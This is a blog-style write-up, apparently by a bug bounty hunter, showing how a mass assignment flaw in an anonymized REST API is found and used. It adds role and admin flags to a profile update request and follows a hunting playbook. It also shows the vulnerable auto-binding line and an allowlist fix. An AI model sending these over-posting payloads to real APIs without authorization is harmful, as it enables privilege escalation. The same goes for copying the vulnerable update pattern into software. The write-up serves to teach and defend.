This Is How I Hacked an API Using Mass Assignment Vulnerability

spyboy's avatarPosted by

(Silent Privilege Escalation via Over-Posting – Educational Case Study)

Disclaimer
This article is strictly for educational and defensive purposes.
All APIs, fields, roles, endpoints, and identifiers are fully anonymized.
No real system was harmed.
This write-up explains how trusting client-supplied JSON can silently destroy access control.


Why Mass Assignment Is So Dangerous

Mass Assignment vulnerabilities don’t look like vulnerabilities.

There’s no:

  • Payload
  • Exploit code
  • Error
  • Alert

Instead, the API says:

“Sure. I’ll update whatever you sent.”

And that’s the problem.

🔥 Mass Assignment turns ordinary update endpoints into privilege escalation backdoors.


What Is Mass Assignment? (Short & Precise)

Mass Assignment happens when:

  • An API automatically maps request fields to a model
  • The backend does not restrict which fields are allowed
  • Attackers send extra fields the frontend never sends

Example:

{
  "email": "user@example.com",
  "is_admin": true
}

If the backend blindly applies this → game over.


Target Overview (Anonymized)

  • Type: REST API (used by web + mobile)
  • Auth: JWT
  • Feature abused: Profile update endpoint
  • Backend style: ORM-based (auto-binding)
  • Developer belief:“The frontend doesn’t send admin fields.”

Attackers are not the frontend.


Phase 1: Finding a “Harmless” Update Endpoint

After logging in as a normal user, I found:

PUT /api/user/update
Authorization: Bearer <token>
Content-Type: application/json

Payload (from frontend):

{
  "name": "Normal User",
  "phone": "9XXXXXXXXX"
}

Response:

{ "status": "updated" }

Looks boring.

That’s exactly what we want.


Phase 2: Inspecting the API Response (Hidden Clues)

The response also returned:

{
  "id": 2189,
  "email": "user@example.com",
  "role": "user",
  "is_verified": true,
  "created_at": "2024-10-12"
}

🚩 Red Flag
The API exposed fields the user never edits.

That usually means:

The backend model contains them
…and might accept them too


Phase 3: Testing for Over-Posting (The Core Test)

I modified the request payload:

{
  "name": "Normal User",
  "phone": "9XXXXXXXXX",
  "role": "admin"
}

Sent via Burp Repeater.

Response:

{
  "status": "updated",
  "role": "admin"
}

😐
No error.
No validation.
No rejection.

This wasn’t a UI bug.

This was server-side trust failure.


Phase 4: Confirming Privilege Escalation

I tested an admin-only endpoint:

GET /api/admin/users
Authorization: Bearer <token>

Response:

[
  { "id": 1, "email": "admin@hidden.com" },
  { "id": 2, "email": "user@hidden.com" }
]

🎯
Full admin access.

One request.


Phase 5: The Even Worse Variant (Boolean Flags)

I checked other model fields by guessing common names:

{
  "is_admin": true,
  "is_staff": true,
  "permissions": ["*"]
}

Multiple variations worked.

Why?

Because the backend logic was effectively:

user.update(request.json)

That’s it.


Why This Bug Is So Hard to Detect

ReasonWhy It Matters
Looks legitimateNo “attack” pattern
No errorsLogs show success
No brute forceRate limits useless
No exploit payloadWAF blind
One requestEasy to miss

Security tools don’t catch over-posting.


Root Cause Analysis

❌ Developer Mistakes

  • Auto-binding request body to model
  • No allowlist of updatable fields
  • Reusing model for read + write
  • Trusting frontend field restrictions
  • No negative testing

This is framework misuse, not bad intent.


✅ How APIs Must Handle Updates

Golden rule: Allowlist fields. Always.

Correct approach:

allowed_fields = ["name", "phone"]
user.update({k: v for k, v in request.json.items() if k in allowed_fields})

Even better:

  • Separate DTOs
  • Separate input/output models
  • Explicit schema validation

Anything else is risky.


Where Mass Assignment Bugs Commonly Exist

I almost always find them in:

  • Profile update APIs
  • Registration endpoints
  • Admin “edit user” endpoints
  • Mobile backends
  • GraphQL mutations
  • Bulk update APIs

If it accepts JSON — test it.


How I Systematically Hunt Mass Assignment

This is my exact playbook:

🔍 Step 1: Find update endpoints

  • PUT / PATCH / POST
  • “edit”, “update”, “save”

🔍 Step 2: Look at response fields

  • role
  • status
  • flags
  • permissions

🔍 Step 3: Add those fields to request

  • One by one
  • Then combined

🔍 Step 4: Verify impact

  • Access admin APIs
  • Change system behavior

If one field sticks — stop. You’ve won.


Tools Used

ToolPurpose
Browser DevToolsBaseline request
Burp SuiteOver-posting
RepeaterControlled escalation
BrainPattern recognition

Severity Assessment

ImpactLevel
Privilege escalationCritical
StealthExtremely high
Exploit complexityVery low
DetectionNear zero

Severity:

Critical – Authorization Bypass

This is one of the highest-paid bug bounty classes.


Why This Bug Exists Everywhere

Because:

  • Frameworks make it easy to do wrong
  • Developers trust serializers
  • Security reviews skip “boring” endpoints
  • QA tests UI, not APIs

Attackers test models, not screens.


Final Thoughts

You didn’t hack authentication.

You didn’t hack authorization.

You hacked assumptions.

And the API rewarded you with admin access.


Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.